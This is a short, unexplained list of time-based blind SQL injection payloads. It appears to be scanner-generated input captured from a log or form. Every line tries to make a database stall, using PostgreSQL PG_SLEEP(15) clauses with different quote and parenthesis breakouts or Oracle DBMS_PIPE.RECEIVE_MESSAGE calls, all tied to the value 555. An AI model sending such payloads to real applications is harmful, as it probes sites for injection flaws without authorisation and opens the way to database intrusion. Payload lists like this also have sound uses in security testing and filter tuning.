555-1 OR 425=(SELECT 425 FROM PG_SLEEP(15))--

555-1) OR 956=(SELECT 956 FROM PG_SLEEP(15))--

555-1)) OR 416=(SELECT 416 FROM PG_SLEEP(15))--

555hc3Xkife' OR 301=(SELECT 301 FROM PG_SLEEP(15))--

555JOJMsDXf') OR 784=(SELECT 784 FROM PG_SLEEP(15))--

555uqRhsGHZ')) OR 249=(SELECT 249 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555